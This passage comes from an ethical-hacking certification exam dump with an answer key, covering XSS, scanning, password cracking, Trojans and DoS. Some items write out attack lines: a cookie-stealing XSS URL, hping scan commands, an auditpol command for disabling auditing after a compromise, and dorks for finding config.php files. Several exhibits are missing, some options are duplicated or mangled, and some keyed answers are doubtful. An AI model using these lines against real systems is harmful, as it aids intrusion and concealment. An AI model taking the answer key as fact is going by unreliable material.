A. The firewall is dropping the packets
B. An in-line IDS is dropping the packets
C. A router is blocking ICMP
D. The host does not respond to ICMP packets
Correct Answer: C



:
QUESTION 75
Consider the following code:
42

URL:http://www.certified.com/search.pl?
text=<script>alert(document.cookie)</script>
If an attacker can trick a victim user to click a link like this, and the Web application does not validate input,
then the victim's browser will pop up an alert showing the users current set of cookies. An attacker can do
much more damage, including stealing passwords, resetting your home page, or redirecting the user to
another Web site.
What is the countermeasure against XSS scripting?
A. Create an IP access list and restrict connections based on port number
B. Replace "<" and ">" characters with "& l t;" and "& g t;" using server scripts
C. Disable Javascript in IE and Firefox browsers
D. Connect to the server using HTTPS protocol instead of HTTP
Correct Answer: B



:
QUESTION 76
Samuel is the network administrator of DataX Communications, Inc. He is trying to configure his firewall to
block password brute force attempts on his network. He enables blocking the intruder's IP address for a
period of 24 hours' time after more than three unsuccessful attempts. He is confident that this rule will
secure his network from hackers on the Internet.
But he still receives hundreds of thousands brute-force attempts generated from various IP addresses
around the world. After some investigation he realizes that the intruders are using a proxy somewhere else
on the Internet which has been scripted to enable the random usage of various proxies on each request so
as not to get caught by the firewall rule.
Later he adds another rule to his firewall and enables small sleep on the password attempt so that if the
password is incorrect, it would take 45 seconds to return to the user to begin another attempt. Since an
intruder may use multiple machines to brute force the password, he also throttles the number of
connections that will be prepared to accept from a particular IP address.
This action will slow the intruder's attempts.
Samuel wants to completely block hackers brute force attempts on his network.
What are the alternatives to defending against possible brute-force password attacks on his site?
43

A. Enforce a password policy and use account lockouts after three wrong logon attempts even though this
might lock out legit users
B. Enable the IDS to monitor the intrusion attempts and alert you by e-mail about the IP address of the
intruder so that you can block them at the
Firewall manually
C. Enforce complex password policy on your network so that passwords are more difficult to brute force
D. You cannot completely block the intruders attempt if they constantly switch proxies
Correct Answer: D



:
QUESTION 77
What type of Trojan is this?
A. RAT Trojan
B. E-Mail Trojan
C. Defacement Trojan
D. Destructing Trojan
E. Denial of Service Trojan
Correct Answer: C



:
44

QUESTION 78
Maintaining a secure Web server requires constant effort, resources, and vigilance from an organization.
Securely administering a Web server on a daily basis is an essential aspect of Web server security.
Maintaining the security of a Web server will usually involve the following steps:
1. Configuring, protecting, and analyzing log files
2. Backing up critical information frequently
3. Maintaining a protected authoritative copy of the organization's Web content
4. Establishing and following procedures for recovering from compromise
5. Testing and applying patches in a timely manner
6. Testing security periodically.
In which step would you engage a forensic investigator?
A. 1
B. 2
C. 3
D. 4
E. 5
F. 6
Correct Answer: D



:
QUESTION 79
In Buffer Overflow exploit, which of the following registers gets overwritten with return address of the exploit
code?
A. EEP
B. ESP
C. EAP
D. EIP
45

Correct Answer: D



:
QUESTION 80
Web servers often contain directories that do not need to be indexed. You create a text file with search
engine indexing restrictions and place it on the root directory of the Web Server.
User-agent: *
Disallow: /images/
Disallow: /banners/
Disallow: /Forms/
Disallow: /Dictionary/
Disallow: /_borders/
Disallow: /_fpclass/
Disallow: /_overlay/
Disallow: /_private/
Disallow: /_themes/
What is the name of this file?
A. robots.txt
B. search.txt
C. blocklist.txt
D. spf.txt
Correct Answer: A



:
QUESTION 81
An attacker has successfully compromised a remote computer. Which of the following comes as one of the
last steps that should be taken to ensure that the compromise cannot be traced back to
46

the source of the problem?
A. Install patches
B. Setup a backdoor
C. Install a zombie for DDOS
D. Cover your tracks
Correct Answer: D



:
QUESTION 82
Attackers target HINFO record types stored on a DNS server to enumerate information. These are
information records and potential source for reconnaissance. A network administrator has the option of
entering host information specifically the CPU type and operating system when creating a new DNS record.
An attacker can extract this type of information easily from a DNS server.
Which of the following commands extracts the HINFO record?
47

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: A



:
QUESTION 83
Bret is a web application administrator and has just read that there are a number of surprisingly common
web application vulnerabilities that can be exploited by unsophisticated attackers with easily available tools
on the Internet. He has also read that when an organization deploys a web application, they invite the world
to send HTTP requests. Attacks buried in these requests sail past firewalls, filters, platform hardening, SSL,
and IDS without notice because they are inside legal HTTP requests. Bret is determined to weed out
vulnerabilities.
What are some of the common vulnerabilities in web applications that he should be concerned about?
A. Non-validated parameters, broken access control, broken account and session management, cross-site
scripting and buffer overflows are just a few common vulnerabilities
B. Visible clear text passwords, anonymous user account set as default, missing latest security patch, no
firewall filters set and no SSL configured are just a few common vulnerabilities
C. No SSL configured, anonymous user account set as default, missing latest security patch, no firewall
filters set and an inattentive system administrator are just a few common vulnerabilities
D. No IDS configured, anonymous user account set as default, missing latest security patch, no firewall
filters set and visible clear text passwords are just a few common vulnerabilities
Correct Answer: A



:
QUESTION 84
What is War Dialing?
A. War dialing involves the use of a program in conjunction with a modem to penetrate the modem/PBXbased
systems
B. War dialing is a vulnerability scanning technique that penetrates Firewalls
C. It is a social engineering technique that uses Phone calls to trick victims "Pass Any Exam. Any Time." -
www.actualtests.com 48

D. Involves IDS Scanning Fragments to bypass Internet filters and stateful Firewalls
Correct Answer: A



:
QUESTION 85
Steven the hacker realizes the network administrator of Acme Corporation is using syskey in Windows
2008 Server to protect his resources in the organization. Syskey independently encrypts the hashes so that
physical access to the server, tapes, or ERDs is only first step to cracking the passwords. Steven must
break through the encryption used by syskey before he can attempt to use brute force dictionary attacks on
the hashes. Steven runs a program called "SysCracker" targeting the Windows 2008 Server machine in
attempting to crack the hash used by Syskey. He needs to configure the encryption level before he can
launch the attack. How many bits does Syskey use for encryption?
A. 40-bit encryption
B. 128-bit encryption
C. 256-bit encryption
D. 64-bit encryption
Correct Answer: B



:
QUESTION 86
Bob waits near a secured door, holding a box. He waits until an employee walks up to the secured door and
uses the special card in order to access the restricted area of the target company. Just as the employee
opens the door, Bob walks up to the employee (still holding the box) and asks the employee to hold the
door open so that he can enter. What is the best way to undermine the social engineering activity of
tailgating?
A. Issue special cards to access secure doors at the company and provide a one-time only brief
description of use of the special card
B. Educate and enforce physical security policies of the company to all the employees on a regular basis
C. Setup a mock video camera next to the special card reader adjacent to the secure door
D. Post a sign that states, "no tailgating" next to the special card reader adjacent to the secure door
Correct Answer: B



49

:
QUESTION 87
Ursula is a college student at a University in Amsterdam. Ursula originally went to college to study
engineering but later changed to marine biology after spending a month at sea with her friends. These
friends frequently go out to sea to follow and harass fishing fleets that illegally fish in foreign waters. Ursula
eventually wants to put companies practicing illegal fishing out of business. Ursula decides to hack into the
parent company's computers and destroy critical data knowing fully well that, if caught, she probably would
be sent to jail for a very long time. What would Ursula be considered?
A. Ursula would be considered a gray hat since she is performing an act against illegal activities.
B. She would be considered a suicide hacker.
C. She would be called a cracker.
D. Ursula would be considered a black hat.
Correct Answer: B



:
QUESTION 88
Attacking well-known system defaults is one of the most common hacker attacks. Most software is shipped
with a default configuration that makes it easy to install and setup the application. You should change the
default settings to secure the system.
Which of the following is NOT an example of default installation?
A. Many systems come with default user accounts with well-known passwords that administrators forget to
change
B. Often, the default location of installation files can be exploited which allows a hacker to retrieve a file
from the system
C. Many software packages come with "samples" that can be exploited, such as the sample programs on
IIS web services
D. Enabling firewall and anti-virus software on the local system
Correct Answer: D



:
50

QUESTION 89
This tool is widely used for ARP Poisoning attack. Name the tool.
A. Cain and Able
B. Beat Infector
C. Poison Ivy
D. Webarp Infector
Correct Answer: A



:
QUESTION 90
BankerFox is a Trojan that is designed to steal users' banking data related to certain banking entities.
When they access any website of the affected banks through the vulnerable Firefox 3.5 browser, the Trojan
is activated and logs the information entered by the user. All the information entered in that website will be
logged by the Trojan and transmitted to the attacker's machine using covert channel.
BankerFox does not spread automatically using its own means. It needs an attacking user's intervention in
order to reach the affected computer.
51

What is the most efficient way an attacker located in remote location to infect this banking Trojan on a
victim's machine?
A. Physical access - the attacker can simply copy a Trojan horse to a victim's hard disk infecting the
machine via Firefox add-on extensions
B. Custom packaging - the attacker can create a custom Trojan horse that mimics the appearance of a
program that is unique to that particular computer
C. Custom packaging - the attacker can create a custom Trojan horse that mimics the appearance of a
program that is unique to that particular computer
D. Custom packaging - the attacker can create a custom Trojan horse that mimics the appearance of a
program that is unique to that particular computer
E. Downloading software from a website? An attacker can offer free software, such as shareware
programs and pirated mp3 files
Correct Answer: E



:
QUESTION 91
In the context of password security: a simple dictionary attack involves loading a dictionary file (a text file full
of dictionary words) into a cracking application such as L0phtCrack or John the Ripper, and running it
against user accounts located by the application. The larger the word and word fragment selection, the
more effective the dictionary attack is. The brute force method is the most inclusive - though slow. Usually,
it tries every possible letter and number combination in its automated exploration. If you would use both
brute force and dictionary combined together to have variations of words, what would you call such an
attack?
52

A. Full Blown Attack
B. Thorough Attack
C. Hybrid Attack
D. BruteDict Attack
Correct Answer: C



:
QUESTION 92
You receive an e-mail with the following text message.
"Microsoft and HP today warned all customers that a new, highly dangerous virus has been discovered
which will erase all your files at midnight. If there's a file called hidserv.exe on your computer, you have
been infected and your computer is now running a hidden server that allows hackers to access your
computer. Delete the file immediately. Please also pass this message to all your friends and colleagues as
soon as possible."
You launch your antivirus software and scan the suspicious looking file hidserv.exe located in
c:\windows directory and the AV comes out clean meaning the file is not infected. You view the file
signature and confirm that it is a legitimate Windows system file "Human Interface Device Service".
What category of virus is this?
A. Virus hoax
B. Spooky Virus
C. Stealth Virus
D. Polymorphic Virus
Correct Answer: A



:
QUESTION 93
Choose one of the following pseudo codes to describe this statement:
"If we have written 200 characters to the buffer variable, the stack should stop because it cannot hold any
more data."
53

A. If (I > 200) then exit (1)
B. If (I < 200) then exit (1)
C. If (I <= 200) then exit (1)
D. If (I >= 200) then exit (1)
Correct Answer: D



:
QUESTION 94
One of the effective DoS/DDoS countermeasures is 'Throttling'. Which statement correctly defines this
term?
A. Set up routers that access a server with logic to adjust incoming traffic to levels that will be safe for the
server to process
B. Providers can increase the bandwidth on critical connections to prevent them from going down in the
event of an attack
C. Replicating servers that can provide additional failsafe protection
D. Load balance each server in a multiple-server architecture
Correct Answer: A



:
QUESTION 95
Attackers footprint target Websites using Google Hacking techniques. Google hacking is a term that refers
to the art of creating complex search engine queries. It detects websites that are vulnerable to numerous
exploits and vulnerabilities. Google operators are used to locate specific strings of text within the search
results.
The configuration file contains both a username and a password for an SQL database. Most sites with
forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access
to the database. WordPress uses config.php that stores the database Username and Password.
Which of the below Google search string brings up sites with "config.php" files?
54

A. Search:index config/php
B. Wordpress:index config.php
C. intitle:index.of config.php
D. Config.php:index list
Correct Answer: C



:
QUESTION 96
Which of the following tool would be considered as Signature Integrity Verifier (SIV)?
55

A. Nmap
B. SNORT
C. VirusSCAN
D. Tripwire
Correct Answer: D



:
QUESTION 97
Bob has set up three web servers on Windows Server 2008 IIS 7.0. Bob has followed all the
recommendations for securing the operating system and IIS. These servers are going to run numerous ecommerce
websites that are projected to bring in thousands of dollars a day. Bob is still concerned about
the security of these servers because of the potential for financial loss. Bob has asked his company's
firewall administrator to set the firewall to inspect all incoming traffic on ports 80 and 443 to ensure that no
malicious data is getting into the network.
Why will this not be possible?
A. Firewalls cannot inspect traffic coming through port 443
B. Firewalls can only inspect outbound traffic
C. Firewalls cannot inspect traffic at all, they can only block or allow certain ports
D. Firewalls cannot inspect traffic coming through port 80
Correct Answer: C



:
QUESTION 98
Which of the following statement correctly defines ICMP Flood Attack? (Select 2 answers)
56

A. Bogus ECHO reply packets are flooded on the network spoofing the IP and MAC address
B. The ICMP packets signal the victim system to reply and the combination of traffic saturates the
bandwidth of the victim's network
C. ECHO packets are flooded on the network saturating the bandwidth of the subnet causing denial of
service
D. A DDoS ICMP flood attack occurs when the zombies send large volumes of ICMP_ECHO_REPLY
packets to the victim system.
Correct Answer: BD



:
QUESTION 99
Which type of scan does NOT open a full TCP connection?
A. Stealth Scan
B. XMAS Scan
C. Null Scan
D. FIN Scan
57

Correct Answer: A



:
QUESTION 100
Lori was performing an audit of her company's internal Sharepoint pages when she came across the
following codE. What is the purpose of this code?
A. This JavaScript code will use a Web Bug to send information back to another server.
B. This code snippet will send a message to a server at 192.154.124.55 whenever the "escape" key is
pressed.
C. This code will log all keystrokes.
D. This bit of JavaScript code will place a specific image on every page of the RSS feed.
Correct Answer: C



:
Topic 2, Volume B
QUESTION 101
What sequence of packets is sent during the initial TCP three-way handshake?
A. SYN, SYN-ACK, ACK
B. SYN, URG, ACK
C. SYN, ACK, SYN-ACK
D. FIN, FIN-ACK, ACK
Correct Answer: A



:
58

QUESTION 102
Steve scans the network for SNMP enabled devices. Which port number Steve should scan?
A. 150
B. 161
C. 169
D. 69
Correct Answer: B



:
QUESTION 103
You are footprinting an organization and gathering competitive intelligence. You visit the company's website
for contact information and telephone numbers but do not find them listed there. You know they had the
entire staff directory listed on their website 12 months ago but now it is not there. Is there any way you can
retrieve information from a website that is outdated?
A. Visit Google's search engine and view the cached copy
B. Crawl the entire website and store them into your computer
C. Visit Archive.org web site to retrieve the Internet archive of the company's website
D. Visit the company's partners and customers website for this information
Correct Answer: C



:
QUESTION 104
You are the CIO for Avantes Finance International, a global finance company based in Geneva. You are
responsible for network functions and logical security throughout the entire corporation. Your company has
over 250 servers running Windows Server, 5000 workstations running Windows Vista, and 200 mobile
users working from laptops on Windows 7.
Last week, 10 of your company's laptops were stolen from salesmen while at a conference in Amsterdam.
These laptops contained proprietary company information. While doing damage assessment on the
possible public relations nightmare this may become, a news story leaks about
59

the stolen laptops and also that sensitive information from those computers was posted to a blog online.
What built-in Windows feature could you have implemented to protect the sensitive information on these
laptops?
A. You should have used 3DES which is built into Windows
B. If you would have implemented Pretty Good Privacy (PGP) which is built into Windows, the sensitive
information on the laptops would not have leaked out
C. You should have utilized the built-in feature of Distributed File System (DFS) to protect the sensitive
information on the laptops
D. You could have implemented Encrypted File System (EFS) to encrypt the sensitive files on the laptops
Correct Answer: D



:
QUESTION 105
A Trojan horse is a destructive program that masquerades as a benign application. The software initially
appears to perform a desirable function for the user prior to installation and/or execution, but in addition to
the expected function steals information or harms the system.
The challenge for an attacker is to send a convincing file attachment to the victim, which gets easily
executed on the victim machine without raising any suspicion. Today's end users are quite knowledgeable
about malwares and viruses. Instead of sending games and fun executables, Hackers today are quite
successful in spreading the Trojans using Rogue security software.
What is Rogue security software?
A. A flash file extension to Firefox that gets automatically installed when a victim visits rogue "Pass Any
Exam. Any Time." - www.actualtests.com 60

software disabling websites
B. A Fake AV program that claims to rid a computer of malware, but instead installs spyware or other
malware onto the computer. This kind of software is known as rogue security software.
C. Rogue security software is based on social engineering technique in which the attackers lures victim to
visit spear phishing websites
D. This software disables firewalls and establishes reverse connecting tunnel between the victim's
machine and that of the attacker
Correct Answer: B



:
QUESTION 106
Which of the following is NOT part of CEH Scanning Methodology?
A. Check for Live systems
B. Check for Open Ports
C. Banner Grabbing
D. Prepare Proxies
E. Social Engineering attacks
F. Scan for Vulnerabilities
G. Draw Network Diagrams
Correct Answer: E



:
QUESTION 107
Lee is using Wireshark to log traffic on his network. He notices a number of packets being directed to an
internal IP from an outside IP where the packets are ICMP and their size is around 65,536 bytes. What is
Lee seeing here?
A. Lee is seeing activity indicative of a Smurf attack.
B. Most likely, the ICMP packets are being sent in this manner to attempt IP spoofing.
C. Lee is seeing a Ping of death attack.
D. This is not unusual traffic, ICMP packets can be of any size.
Correct Answer: C



:
61

QUESTION 108
This method is used to determine the Operating system and version running on a remote target system.
What is it called?
A. Service Degradation
B. OS Fingerprinting
C. Manual Target System
D. Identification Scanning
Correct Answer: B



:
QUESTION 109
William has received a Chess game from someone in his computer programming class through email.
William does not really know the person who sent the game very well, but decides to install the game
anyway because he really likes Chess.
After William installs the game, he plays it for a couple of hours. The next day, William plays the Chess
game again and notices that his machine has begun to slow down. He brings up his Task Manager and
sees the following programs running:
62

What has William just installed?
A. Zombie Zapper (ZoZ)
B. Remote Access Trojan (RAT)
C. Bot IRC Tunnel (BIT)
D. Root Digger (RD)
Correct Answer: B



:
QUESTION 110
John the hacker is sniffing the network to inject ARP packets. He injects broadcast frames onto the wire to
conduct MiTM attack. What is the destination MAC address of a broadcast frame?
63

A. 0xFFFFFFFFFFFF
B. 0xDDDDDDDDDDDD
C. 0xAAAAAAAAAAAA
D. 0xBBBBBBBBBBBB
Correct Answer: A



:
QUESTION 111
You are gathering competitive intelligence on an organization. You notice that they have jobs listed on a few
Internet job-hunting sites. There are two jobs for network and system administrators. How can this help you
in foot printing the organization?
A. To learn about the IP range used by the target network
B. To identify the number of employees working for the company
C. To test the limits of the corporate security policy enforced in the company
D. To learn about the operating systems, services and applications used on the network
Correct Answer: D



:
QUESTION 112
TCP packets transmitted in either direction after the initial three-way handshake will have which of the
following bit set?
A. SYN flag
B. ACK flag
C. FIN flag
D. XMAS flag
Correct Answer: B



:
QUESTION 113
The programmers on your team are analyzing the free, open source software being used to run FTP
services on a server in your organization. They notice that there is excessive number of
64

functions in the source code that might lead to buffer overflow. These C++ functions do not check bounds.
Identify the line in the source code that might lead to buffer overflow?
A. 9A.9
B. 17B.17
C. 20C.20
D. 32D.32
E. 35E.35
Correct Answer: B



:
65

QUESTION 114
What framework architecture is shown in this exhibit?
A. Core Impact
B. Metasploit
C. Immunity Canvas
D. Nessus
Correct Answer: B



:
QUESTION 115
Which of the following steganography utilities exploits the nature of white space and allows the user to
conceal information in these white spaces?
A. Image Hide
B. Snow
C. Gif-It-Up
D. NiceText
Correct Answer: B



:
66

QUESTION 116
You have chosen a 22 character word from the dictionary as your password. How long will it take to crack
the password by an attacker?
A. 16 million years
B. 5 minutes
C. 23 days
D. 200 years
Correct Answer: B



:
QUESTION 117
While testing web applications, you attempt to insert the following test script into the search area on the
company's web site:
<script>alert('Testing Testing Testing')</script>
Later, when you press the search button, a pop up box appears on your screen with the text "Testing
Testing Testing". What vulnerability is detected in the web application here?
A. Cross Site Scripting
B. Password attacks
C. A Buffer Overflow
D. A hybrid attack
Correct Answer: A



:
QUESTION 118
What techniques would you use to evade IDS during a Port Scan? (Select 4 answers)
A. Use fragmented IP packets
67

B. Spoof your IP address when launching attacks and sniff responses from the server
C. Overload the IDS with Junk traffic to mask your scan
D. Use source routing (if possible)
E. Connect to proxy servers or compromised Trojaned machines to launch attacks
Correct Answer: ABDE



:
QUESTION 119
Bob was frustrated with his competitor, Brownies Inc., and decided to launch an attack that would result in
serious financial losses. He planned the attack carefully and carried out the attack at the appropriate
moment.
Meanwhile, Trent, an administrator at Brownies Inc., realized that their main financial transaction server had
been attacked. As a result of the attack, the server crashed and Trent needed to reboot the system, as no
one was able to access the resources of the company. This process involves human interaction to fix it.
What kind of Denial of Service attack was best illustrated in the scenario above?
A. Simple DDoS attack
B. DoS attacks which involves flooding a network or system
C. DoS attacks which involves crashing a network or system
D. DoS attacks which is done accidentally or deliberately
Correct Answer: C



:
QUESTION 120
Johnny is a member of the hacking group Orpheus1. He is currently working on breaking into the
Department of Defense's front end Exchange Server. He was able to get into the server, located in a DMZ,
by using an unused service account that had a very weak password that he was able to guess. Johnny
wants to crack the administrator password, but does not have a lot of time to crack it. He wants to use a
tool that already has the LM hashes computed for all possible permutations of the administrator password.
What tool would be best used to accomplish this?
68

A. SMBCrack
B. SmurfCrack
C. PSCrack
D. RainbowTables
Correct Answer: D



:
QUESTION 121
In this type of Man-in-the-Middle attack, packets and authentication tokens are captured using a sniffer.
Once the relevant information is extracted, the tokens are placed back on the network to gain access.
A. Token Injection Replay attacks
B. Shoulder surfing attack
C. Rainbow and Hash generation attack
D. Dumpster diving attack
Correct Answer: A



:
QUESTION 122
The FIN flag is set and sent from host A to host B when host A has no more data to transmit (Closing a
TCP connection). This flag releases the connection resources. However, host A can continue to receive
data as long as the SYN sequence numbers of transmitted packets from host B are lower than the packet
segment containing the set FIN flag.
A. false
B. true
69

Correct Answer: B



:
QUESTION 123
Jason is the network administrator of Spears Technology. He has enabled SNORT IDS to detect attacks
going through his network. He receives Snort SMS alerts on his iPhone whenever there is an attempted
intrusion to his network.
He receives the following SMS message during the weekend.
An attacker Chew Siew sitting in Beijing, China had just launched a remote scan on Jason's network with
the hping command.
Which of the following hping2 command is responsible for the above snort alert?
A. chenrocks:/home/siew # hping -S -R -P -A -F -U 192.168.2.56 -p 22 -c 5 -t 118
B. chenrocks:/home/siew # hping -F -Q -J -A -C -W 192.168.2.56 -p 22 -c 5 -t 118
C. chenrocks:/home/siew # hping -D -V -R -S -Z -Y 192.168.2.56 -p 22 -c 5 -t 118
D. chenrocks:/home/siew # hping -G -T -H -S -L -W 192.168.2.56 -p 22 -c 5 -t 118
Correct Answer: A



:
QUESTION 124
Leesa is the senior security analyst for a publicly traded company. The IT department recently rolled out an
intranet for company use only with information ranging from training, to holiday schedules, to human
resources data. Leesa wants to make sure the site is not accessible from outside and she also wants to
ensure the site is Sarbanes-Oxley (SOX) compliant. Leesa goes to a public library as she wants to do some
Google searching to verify whether the company's intranet is accessible from outside and has been indexed
by Google. Leesa wants to search for a website title of "intranet" with part of the URL containing the word
"intranet" and the words "human
70

resources" somewhere in the webpage.
What Google search will accomplish this?
A. related:intranet allinurl:intranet:"human resources"
B. cache:"human resources" inurl:intranet(SharePoint)
C. intitle:intranet inurl:intranet+intext:"human resources"
D. site:"human resources"+intext:intranet intitle:intranet
Correct Answer: C



:
QUESTION 125
Bob has been hired to do a web application security test. Bob notices that the site is dynamic and must
make use of a back end database. Bob wants to see if SQL Injection would be possible. What is the first
character that Bob should use to attempt breaking valid SQL request?
A. Semi Column
B. Double Quote
C. Single Quote
D. Exclamation Mark
Correct Answer: C



:
QUESTION 126
Hampton is the senior security analyst for the city of Columbus in Ohio. His primary responsibility is to
ensure that all physical and logical aspects of the city's computer network are secure from all angles. Bill is
an IT technician that works with Hampton in the same IT department. Bill's primary responsibility is to keep
PC's and servers up to date and to keep track of all the agency laptops that the company owns and lends
out to its employees. After Bill setup a wireless network for the agency, Hampton made sure that everything
was secure. He instituted encryption, rotating keys, turned off SSID broadcasting, and enabled MAC
filtering. According to agency policy, only company laptops are allowed to use the wireless network, so
Hampton entered all the MAC addresses for those laptops into the wireless security utility so that only those
laptops should be able to access the wireless network.
Hampton does not keep track of all the laptops, but he is pretty certain that the agency only
71

purchases Dell laptops. Hampton is curious about this because he notices Bill working on a Toshiba laptop
one day and saw that he was on the Internet. Instead of jumping to conclusions, Hampton decides to talk to
Bill's boss and see if they had purchased a Toshiba laptop instead of the usual Dell. Bill's boss said no, so
now Hampton is very curious to see how Bill is accessing the Internet. Hampton does site surveys every
couple of days, and has yet to see any outside wireless network signals inside the company's building.
How was Bill able to get Internet access without using an agency laptop?
A. Bill spoofed the MAC address of Dell laptop
B. Bill connected to a Rogue access point
C. Toshiba and Dell laptops share the same hardware address
D. Bill brute forced the Mac address ACLs
Correct Answer: B



:
QUESTION 127
LAN Manager Passwords are concatenated to 14 bytes, and split in half. The two halves are hashed
individually. If the password is 7 characters or less, than the second half of the hash is always:
A. 0xAAD3B435B51404EE
B. 0xAAD3B435B51404AA
C. 0xAAD3B435B51404BB
D. 0xAAD3B435B51404CC
Correct Answer: A



:
QUESTION 128
When writing shellcodes, you must avoid ____________ because these will end the string.
72

A. Root bytes
B. Null bytes
C. Char bytes
D. Unicode bytes
Correct Answer: B



:
QUESTION 129
Jess the hacker runs L0phtCrack's built-in sniffer utility that grabs SMB password hashes and stores them
for offline cracking. Once cracked, these passwords can provide easy access to whatever network
resources the user account has access to. But Jess is not picking up hashes from the network. Why?
A. The network protocol is configured to use SMB Signing
B. The physical network wire is on fibre optic cable
C. The network protocol is configured to use IPSEC
D. L0phtCrack SMB sniffing only works through Switches and not Hubs
Correct Answer: A



:
QUESTION 130
Harold works for Jacobson Unlimited in the IT department as the security manager. Harold has created a
security policy requiring all employees to use complex 14 character passwords. Unfortunately, the members
of management do not want to have to use such long complicated passwords so they tell Harold's boss this
new password policy should not apply to them. To comply with the management's wishes, the IT
department creates another Windows domain and moves all the management users to that domain. This
new domain has a password policy only
73

requiring 8 characters.
Harold is concerned about having to accommodate the managers, but cannot do anything about it. Harold
is also concerned about using LanManager security on his network instead of NTLM or NTLMv2, but the
many legacy applications on the network prevent using the more secure NTLM and NTLMv2. Harold pulls
the SAM files from the DC's on the original domain and the new domain using Pwdump6.
Harold uses the password cracking software John the Ripper to crack users' passwords to make sure they
are strong enough. Harold expects that the users' passwords in the original domain will take much longer to
crack than the management's passwords in the new domain. After running the software, Harold discovers
that the 14 character passwords only took a short time longer to crack than the 8 character passwords.
Why did the 14 character passwords not take much longer to crack than the 8 character passwords?
A. Harold should have used Dumpsec instead of Pwdump6
B. Harold's dictionary file was not large enough
C. Harold should use LC4 instead of John the Ripper
D. LanManger hashes are broken up into two 7 character fields
Correct Answer: D



:
QUESTION 131
You establish a new Web browser connection to Google. Since a 3-way handshake is required for any TCP
connection, the following actions will take place.
74

- DNS query is sent to the DNS server to resolve www.google.com
- DNS server replies with the IP address for Google?
- SYN packet is sent to Google.
- Google sends back a SYN/ACK packet
- Your computer completes the handshake by sending an ACK
- The connection is established and the transfer of data commences
Which of the following packets represent completion of the 3-way handshake?
A. 4th packet
B. 3rdpacket
C. 6th packet
D. 5th packet
Correct Answer: D



:
QUESTION 132
E-mail tracking is a method to monitor and spy the delivered e-mails to the intended recipient.
75

Select a feature, which you will NOT be able to accomplish with this probe?
A. When the e-mail was received and read
B. Send destructive e-mails
C. GPS location and map of the recipient
D. Time spent on reading the e-mails
E. Whether or not the recipient visited any links sent to them
F. Track PDF and other types of attachments
G. Set messages to expire after specified time
H. Remote control the User's E-mail client application and hijack the traffic
Correct Answer: H



:
QUESTION 133
Which of the following Trojans would be considered 'Botnet Command Control Center'?
A. YouKill DOOM
B. Damen Rock
C. Poison Ivy
D. Matten Kit
Correct Answer: C



:
QUESTION 134
76

What type of Virus is shown here?
A. Macro Virus
B. Cavity Virus
C. Boot Sector Virus
D. Metamorphic Virus
E. Sparse Infector Virus
Correct Answer: B



:
QUESTION 135
John is using a special tool on his Linux platform that has a database containing signatures to be able to
detect hundreds of vulnerabilities in UNIX, Windows, and commonly used web CGI/ASPX scripts.
Moreover, the database detects DDoS zombies and Trojans as well. What would be the name of this tool?
A. hping2
B. nessus
C. nmap
D. make
Correct Answer: B



:
QUESTION 136
Fred is scanning his network to ensure it is as secure as possible. Fred sends a TCP probe packet to a
host with a FIN flag and he receives a RST/ACK response. What does this mean?
77

A. This response means the port he is scanning is open.
B. The RST/ACK response means the port Fred is scanning is disabled.
C. This means the port he is scanning is half open.
D. This means that the port he is scanning on the host is closed.
Correct Answer: D



:
QUESTION 137
_____________ is a type of symmetric-key encryption algorithm that transforms a fixed-length block of
plaintext (unencrypted text) data into a block of ciphertext (encrypted text) data of the same length.
A. Stream Cipher
B. Block Cipher
C. Bit Cipher
D. Hash Cipher
Correct Answer: B



:
QUESTION 138
Your company has blocked all the ports via external firewall and only allows port 80/443 to connect to the
Internet. You want to use FTP to connect to some remote server on the Internet.
How would you accomplish this?
A. Use HTTP Tunneling
B. Use Proxy Chaining
C. Use TOR Network
D. Use Reverse Chaining
Correct Answer: A



:
QUESTION 139
You have successfully gained access to a victim's computer using Windows 2003 Server SMB
78

Vulnerability. Which command will you run to disable auditing from the cmd?
A. stoplog stoplog ?
B. EnterPol /nolog
C. EventViewer o service
D. auditpol.exe /disable
Correct Answer: D



:
QUESTION 140
How do you defend against MAC attacks on a switch?
A. Disable SPAN port on the switch
B. Enable SNMP Trap on the switch
C. Configure IP security on the switch
D. Enable Port Security on the switch
Correct Answer: D



:
QUESTION 141
In which location, SAM hash passwords are stored in Windows 7?
A. c:\windows\system32\config\SAM
B. c:\winnt\system32\machine\SAM
C. c:\windows\etc\drivers\SAM
79

D. c:\windows\config\etc\SAM
Correct Answer: A



:
QUESTION 142
File extensions provide information regarding the underlying server technology. Attackers can use this
information to search vulnerabilities and launch attacks. How would you disable file extensions in Apache
servers?
A. Use disable-eXchange
B. Use mod_negotiation
C. Use Stop_Files
D. Use Lib_exchanges
Correct Answer: B



:
QUESTION 143
Bob has a good understanding of cryptography, having worked with it for many years. Cryptography is used
to secure data from specific threats, but it does not secure the application from coding errors. It can provide
data privacy; integrity and enable strong authentication but it cannot mitigate programming errors. What is a
good example of a programming error that Bob can use to explain to the management how encryption will
not address all their security concerns?
A. Bob can explain that using a weak key management technique is a form of programming error
B. Bob can explain that using passwords to derive cryptographic keys is a form of a programming error
C. Bob can explain that a buffer overflow is an example of programming error and it is a common mistake
associated with poor programming technique
D. Bob can explain that a random number generator can be used to derive cryptographic keys but it uses a
weak seed value and this is a form of a programming error
Correct Answer: A



:
80

QUESTION 144
Finding tools to run dictionary and brute forcing attacks against FTP and Web servers is an easy task for
hackers. They use tools such as arhontus or brutus to break into remote servers.
A command such as this, will attack a given 10.0.0.34 FTP and Telnet servers simultaneously with a list of
passwords and a single login namE. linksys. Many FTP-specific password-guessing tools are also available
from major security sites.
What defensive measures will you take to protect your network from these attacks?
A. Never leave a default password
B. Never use a password that can be found in a dictionary
C. Never use a password related to your hobbies, pets, relatives, or date of birth.
D. Use a word that has more than 21 characters from a dictionary as the password
E. Never use a password related to the hostname, domain name, or anything else that can be found with
whois
Correct Answer: ABCE



:
QUESTION 145
One of the most common and the best way of cracking RSA encryption is to begin to derive the two prime
numbers, which are used in the RSA PKI mathematical process. If the two numbers p and q are discovered
through a _____________ process, then the private key can be derived.
A. Factorization
81

B. Prime Detection
C. Hashing
D. Brute-forcing
Correct Answer: A



:
QUESTION 146
Data is sent over the network as clear text (unencrypted) when Basic Authentication is configured on Web
Servers.
A. true
B. false
Correct Answer: A



:
QUESTION 147
NetBIOS over TCP/IP allows files and/or printers to be shared over the network. You are trying to intercept
the traffic from a victim machine to a corporate network printer. You are attempting to hijack the printer
network connection from your laptop by sniffing the wire. Which port does SMB over TCP/IP use?
A. 443
B. 139
C. 179
D. 445
Correct Answer: D



:
QUESTION 148
One of the ways to map a targeted network for live hosts is by sending an ICMP ECHO request to the
